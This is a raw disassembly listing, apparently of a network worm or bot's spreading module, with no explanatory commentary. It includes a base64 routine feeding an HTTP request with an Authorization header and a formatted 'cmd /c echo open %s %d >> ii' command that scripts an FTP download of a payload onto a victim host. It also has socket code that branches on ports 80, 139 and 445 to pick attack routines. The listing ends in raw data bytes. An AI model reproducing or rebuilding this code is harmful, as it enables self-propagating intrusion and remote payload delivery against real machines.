var_40		= qword	ptr -40h

		mov	eax, offset loc_4230E7
		call	sub_418290
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_404667
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_403FE6
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_404074
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_4045E2

loc_404074:				; CODE XREF: sub_404032+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_404191
		mov	ebx, [ebp+10h]

loc_404083:				; CODE XREF: sub_404032+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40408D
		push	3
		jmp	short loc_40409F
; ---------------------------------------------------------------------------

loc_40408D:				; CODE XREF: sub_404032+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_404097
		push	2
		jmp	short loc_40409F
; ---------------------------------------------------------------------------

loc_404097:				; CODE XREF: sub_404032+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_4040A0
		push	1

loc_40409F:				; CODE XREF: sub_404032+59j
					; sub_404032+63j
		pop	ebx

loc_4040A0:				; CODE XREF: sub_404032+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_424288
		fstp	[esp+40h+var_40]
		call	sub_417DEB
		pop	ecx
		pop	ecx
		call	sub_417DC4
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_4040DF
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi

loc_4040DF:				; CODE XREF: sub_404032+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40414D
		add	[ebp-18h], eax

loc_404131:				; CODE XREF: sub_404032+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_42876C[eax]
		push	eax
		push	1
		call	sub_404464
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_404131

loc_40414D:				; CODE XREF: sub_404032+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40416B
		push	dword ptr [ebp+14h]
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_4044BD
		mov	[ebp-18h], edi

loc_40416B:				; CODE XREF: sub_404032+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_404185
		sub	esi, [ebp-1Ch]

loc_404176:				; CODE XREF: sub_404032+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_404464
		dec	esi
		jnz	short loc_404176

loc_404185:				; CODE XREF: sub_404032+13Fj
		cmp	[ebp+10h], edi
		ja	loc_404083
		push	1
		pop	ebx

loc_404191:				; CODE XREF: sub_404032+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_404667
		push	dword_424280
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_404514
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_404667
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_404032	endp


; =============== S U B	R O U T	I N E =======================================



sub_4041D4	proc near		; CODE XREF: ___:004043CFp
		mov	eax, offset loc_423104
		call	sub_418290
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_43C80C
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_404032
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_417B89
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40421E
		xor	bl, bl
		jmp	short loc_404262
; ---------------------------------------------------------------------------

loc_40421E:				; CODE XREF: sub_4041D4+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_424290
		cmp	ecx, ebx
		jnz	short loc_40422C
		mov	ecx, eax

loc_40422C:				; CODE XREF: sub_4041D4+54j
		cmp	[ebp+18h], ebx
		jz	short loc_404234
		mov	eax, [ebp+18h]

loc_404234:				; CODE XREF: sub_4041D4+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41782A
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_43F6B8
		cmp	eax, esi
		jz	short loc_404259
		xor	bl, bl
		jmp	short loc_40425B
; ---------------------------------------------------------------------------

loc_404259:				; CODE XREF: sub_4041D4+7Fj
		mov	bl, 1

loc_40425B:				; CODE XREF: sub_4041D4+83j
		push	edi
		call	sub_417C3B
		pop	ecx

loc_404262:				; CODE XREF: sub_4041D4+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_404667
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_404667
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_4041D4	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_428918
		push	eax
		call	sub_417390
		add	esp, 0Ch
		mov	eax, offset byte_42F678
		push	eax
		push	eax
		push	dword_43C83C
		push	dword ptr [ebp+8]
		call	sub_40AEE0
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41782A
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_4287B0
		push	eax
		call	sub_403A90
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40432B
		xor	eax, eax
		jmp	loc_404457
; ---------------------------------------------------------------------------

loc_40432B:				; CODE XREF: ___:00404322j
		mov	[ebp-0Ch], esi

loc_40432E:				; CODE XREF: ___:0040442Ej
		test	esi, esi
		jnz	loc_404434
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40441C
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_43F668
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_43F6A8
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jz	loc_404411
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_4043D9
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_404667
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_4046A3
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_4041D4
		add	esp, 1Ch
		jmp	short loc_40440E
; ---------------------------------------------------------------------------

loc_4043D9:				; CODE XREF: ___:00404397j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_4043F3
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_403F94
		jmp	short loc_40440B
; ---------------------------------------------------------------------------

loc_4043F3:				; CODE XREF: ___:004043E3j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_404411
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_403EBA

loc_40440B:				; CODE XREF: ___:004043F1j
		add	esp, 0Ch

loc_40440E:				; CODE XREF: ___:004043D7j
		movzx	esi, al

loc_404411:				; CODE XREF: ___:0040438Aj
					; ___:004043FDj
		push	ebx
		call	dword_43F700
		test	esi, esi
		jnz	short loc_404427

loc_40441C:				; CODE XREF: ___:00404347j
		push	3E8h
		call	near ptr 26003D2h
		nop

loc_404427:				; CODE XREF: ___:0040441Aj
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40432E

loc_404434:				; CODE XREF: ___:00404330j
		lea	ecx, [ebp-8]
		call	sub_4038B5
		test	esi, esi
		jz	short loc_404455
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]

loc_404455:				; CODE XREF: ___:0040443Ej
		mov	eax, esi

loc_404457:				; CODE XREF: ___:00404326j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4230C8

loc_40445C:				; CODE XREF: sub_4230C8+3j
					; ___:004230E1j ...
		push	1
		call	sub_404667
		retn
; END OF FUNCTION CHUNK	FOR sub_4230C8

; =============== S U B	R O U T	I N E =======================================



sub_404464	proc near		; CODE XREF: sub_404032+110p
					; sub_404032+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_424280
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40447E
		call	sub_42298A

loc_40447E:				; CODE XREF: sub_404464+13j
		test	ebx, ebx
		jbe	short loc_4044B5
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_4045E2
		test	al, al
		jz	short loc_4044B5
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_417330
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0

loc_4044B5:				; CODE XREF: sub_404464+1Cj
					; sub_404464+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_404464	endp


; =============== S U B	R O U T	I N E =======================================



sub_4044BD	proc near		; CODE XREF: sub_404032+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_424280
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_4044D7
		call	sub_42298A

loc_4044D7:				; CODE XREF: sub_4044BD+13j
		test	ebx, ebx
		jbe	short loc_40450C
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_4045E2
		test	al, al
		jz	short loc_40450C
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_417390
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0

loc_40450C:				; CODE XREF: sub_4044BD+1Cj
					; sub_4044BD+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4044BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404514	proc near		; CODE XREF: sub_404032+17Cp
					; sub_4228A0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40452C
		call	sub_422863

loc_40452C:				; CODE XREF: sub_404514+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40453E
		mov	esi, [ebp+arg_8]

loc_40453E:				; CODE XREF: sub_404514+25j
		cmp	edi, ebx
		jnz	short loc_404560
		push	dword_424280
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_4046D8
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_4046D8
		jmp	short loc_4045D9
; ---------------------------------------------------------------------------

loc_404560:				; CODE XREF: sub_404514+2Cj
		test	esi, esi
		jbe	short loc_4045A3
		cmp	esi, eax
		jnz	short loc_4045A3
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_404574
		mov	eax, offset dword_424290

loc_404574:				; CODE XREF: sub_404514+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_4045A3
		push	1
		mov	ecx, edi
		call	sub_404667
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40458F
		mov	eax, offset dword_424290

loc_40458F:				; CODE XREF: sub_404514+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_4045D9
; ---------------------------------------------------------------------------

loc_4045A3:				; CODE XREF: sub_404514+4Ej
					; sub_404514+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_4045E2
		test	al, al
		jz	short loc_4045D9
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_4045BD
		mov	eax, offset dword_424290

loc_4045BD:				; CODE XREF: sub_404514+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_417390
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0

loc_4045D9:				; CODE XREF: sub_404514+4Aj
					; sub_404514+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_404514	endp


; =============== S U B	R O U T	I N E =======================================



sub_4045E2	proc near		; CODE XREF: sub_404032+3Dp
					; sub_404464+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_4045F4
		call	sub_42298A

loc_4045F4:				; CODE XREF: sub_4045E2+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40461D
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40461D
		cmp	al, 0FFh
		jz	short loc_40461D
		cmp	edi, edx
		jnz	short loc_404658
		dec	al
		push	edx
		mov	[ecx-1], al

loc_404612:				; CODE XREF: sub_4045E2+47j
		mov	ecx, esi
		call	sub_404667

loc_404619:				; CODE XREF: sub_4045E2+4Bj
					; sub_4045E2+52j
		xor	al, al
		jmp	short loc_404662
; ---------------------------------------------------------------------------

loc_40461D:				; CODE XREF: sub_4045E2+19j
					; sub_4045E2+20j ...
		cmp	edi, edx
		jnz	short loc_404636
		cmp	[esp+8+arg_4], dl
		jz	short loc_40462B
		push	1
		jmp	short loc_404612
; ---------------------------------------------------------------------------

loc_40462B:				; CODE XREF: sub_4045E2+43j
		cmp	ecx, edx
		jz	short loc_404619
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_404619
; ---------------------------------------------------------------------------

loc_404636:				; CODE XREF: sub_4045E2+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_404653
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_404648
		cmp	eax, edi
		jnb	short loc_404660

loc_404648:				; CODE XREF: sub_4045E2+60j
		push	1
		mov	ecx, esi
		call	sub_404667
		jmp	short loc_404658
; ---------------------------------------------------------------------------

loc_404653:				; CODE XREF: sub_4045E2+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_404660

loc_404658:				; CODE XREF: sub_4045E2+28j
					; sub_4045E2+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40473F

loc_404660:				; CODE XREF: sub_4045E2+64j
					; sub_4045E2+74j
		mov	al, 1

loc_404662:				; CODE XREF: sub_4045E2+39j
		pop	edi
		pop	esi
		retn	8
sub_4045E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_404667	proc near		; CODE XREF: sub_404032+1Fp
					; sub_404032+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_404693
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_404693
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40468C
		cmp	al, 0FFh
		jz	short loc_40468C
		dec	al
		mov	[ecx], al
		jmp	short loc_404693
; ---------------------------------------------------------------------------

loc_40468C:				; CODE XREF: sub_404667+19j
					; sub_404667+1Dj
		push	ecx
		call	sub_4182AF
		pop	ecx

loc_404693:				; CODE XREF: sub_404667+8j
					; sub_404667+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_404667	endp


; =============== S U B	R O U T	I N E =======================================



sub_4046A3	proc near		; CODE XREF: ___:004043C3p
					; sub_4047FC+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_4045E2
		test	al, al
		jz	short loc_4046D1
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_417390
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0

loc_4046D1:				; CODE XREF: sub_4046A3+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_4046A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4046D8	proc near		; CODE XREF: sub_404514+39p
					; sub_404514+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_4046EB
		call	sub_422863

loc_4046EB:				; CODE XREF: sub_4046D8+Cj
		mov	ecx, edi
		call	sub_4047FC
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_404701
		mov	ebx, eax

loc_404701:				; CODE XREF: sub_4046D8+25j
		test	ebx, ebx
		jbe	short loc_404737
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_4182C0
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_4045E2
		test	al, al
		jz	short loc_404737
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0

loc_404737:				; CODE XREF: sub_4046D8+2Bj
					; sub_4046D8+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4046D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40473F	proc near		; CODE XREF: sub_4045E2+79p
		mov	eax, offset loc_423110
		call	sub_418290
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_404765
		mov	edi, [ebp+8]

loc_404765:				; CODE XREF: sub_40473F+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_404772
		xor	eax, eax

loc_404772:				; CODE XREF: sub_40473F+2Fj
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_4047A3
; ---------------------------------------------------------------------------

loc_40477E:				; DATA XREF: ___:00424F9Co
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40478D
		xor	eax, eax

loc_40478D:				; CODE XREF: sub_40473F+4Aj
		push	eax
		call	sub_4185F5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40479D
		retn
; ---------------------------------------------------------------------------

loc_40479D:				; DATA XREF: sub_40473F+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]

loc_4047A3:				; CODE XREF: sub_40473F+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_4047C1
		cmp	eax, edi
		jbe	short loc_4047B0
		mov	eax, edi

loc_4047B0:				; CODE XREF: sub_40473F+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_417390
		add	esp, 0Ch

loc_4047C1:				; CODE XREF: sub_40473F+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_404667
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_4047E1
		mov	edi, ebx

loc_4047E1:				; CODE XREF: sub_40473F+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40473F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4047FC	proc near		; CODE XREF: sub_4046D8+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_404829
		mov	al, [esi-1]
		test	al, al
		jz	short loc_404829
		cmp	al, 0FFh
		jz	short loc_404829
		push	1
		call	sub_404667
		push	esi
		call	sub_417AB0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_4046A3

loc_404829:				; CODE XREF: sub_4047FC+9j
					; sub_4047FC+10j ...
		pop	edi
		pop	esi
		retn
sub_4047FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40482C	proc near		; DATA XREF: ___:00426008o
		test	byte_48A30C, 1
		jnz	short loc_40483C
		or	byte_48A30C, 1

loc_40483C:				; CODE XREF: sub_40482C+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_418670
		pop	ecx
		retn
sub_40482C	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40484E	proc near		; DATA XREF: ___:0042600Co
		jmp	$+5
sub_40484E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404853	proc near
		mov	eax, dword_428BE0
		add	eax, 6
		mov	dword_43C828, eax
		retn
sub_404853	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404861	proc near		; CODE XREF: sub_404861+D0p
					; ___:00404DC0p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_404875
		or	[ebp+arg_7], 1
		jmp	short loc_404879
; ---------------------------------------------------------------------------

loc_404875:				; CODE XREF: sub_404861+Cj
		and	[ebp+arg_7], 0FEh

loc_404879:				; CODE XREF: sub_404861+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40489D
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_4048AF
; ---------------------------------------------------------------------------

loc_40489D:				; CODE XREF: sub_404861+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1

loc_4048AF:				; CODE XREF: sub_404861+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_417B89
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_404948
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_40493F
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40493F
		push	[ebp+arg_20]
		call	sub_417C3B
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40493B
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_404861
		add	esp, 2Ch
		jmp	short loc_40494A
; ---------------------------------------------------------------------------

loc_40493B:				; CODE XREF: sub_404861+B3j
		mov	al, 1
		jmp	short loc_40494A
; ---------------------------------------------------------------------------

loc_40493F:				; CODE XREF: sub_404861+9Cj
					; sub_404861+A4j
		push	[ebp+arg_20]
		call	sub_417C3B
		pop	ecx

loc_404948:				; CODE XREF: sub_404861+61j
		xor	al, al

loc_40494A:				; CODE XREF: sub_404861+D8j
					; sub_404861+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404861	endp

; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
		db 0B8h	; ¸
		db 0DCh	; Ü
		db  60h	; `
		db    0
		db    0
		db 0E8h	; è
		db 0D4h	; Ô
		db  31h	; 1
		db    1
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  68h	; h
		db  5Ch	; \
		db  8Ch	; Œ
		db  42h	; B
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; è
		db  24h	; $
		db  3Eh	; >
		db    1
		db    0
		db  59h	; Y
		db  33h	; 3
		db 0DBh	; Û
		db  85h	; …
		db 0C0h	; À
		db  59h	; Y
		db  74h	; t
		db  4Eh	; N
		db 0FFh
		db  75h	; u
		db    8
		db 0BEh	; ¾
		db    0
		db  20h
		db    0
		db    0
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0DFh	; ß
		db 0FFh
		db 0FFh
		db  68h	; h
		db  28h	; (
		db  86h	; †
		db  42h	; B
		db    0
		db  56h	; V
		db  50h	; P
		db 0E8h	; è
		db  9Ch	; œ
		db  2Eh	; .
		db    1
		db    0
		db  6Ah	; j
		db  20h
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  53h	; S
		db  50h	; P
		db 0E8h	; è
		db  93h	; “
		db  29h	; )
		db    1
		db    0
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0DFh	; ß
		db 0FFh
		db 0FFh
		db  83h	; ƒ
		db 0C4h	; Ä
		db  1Ch
		db  89h	; ‰
		db  85h	; …
		db  38h	; 8
		db 0FFh
		db 0FFh
		db 0FFh
		db 0B8h	; ¸
		db  0Ch
		db 0C8h	; È
		db  43h	; C
		db    0
		db  53h	; S
		db  50h	; P
		db  50h	; P
		db  8Dh	; 
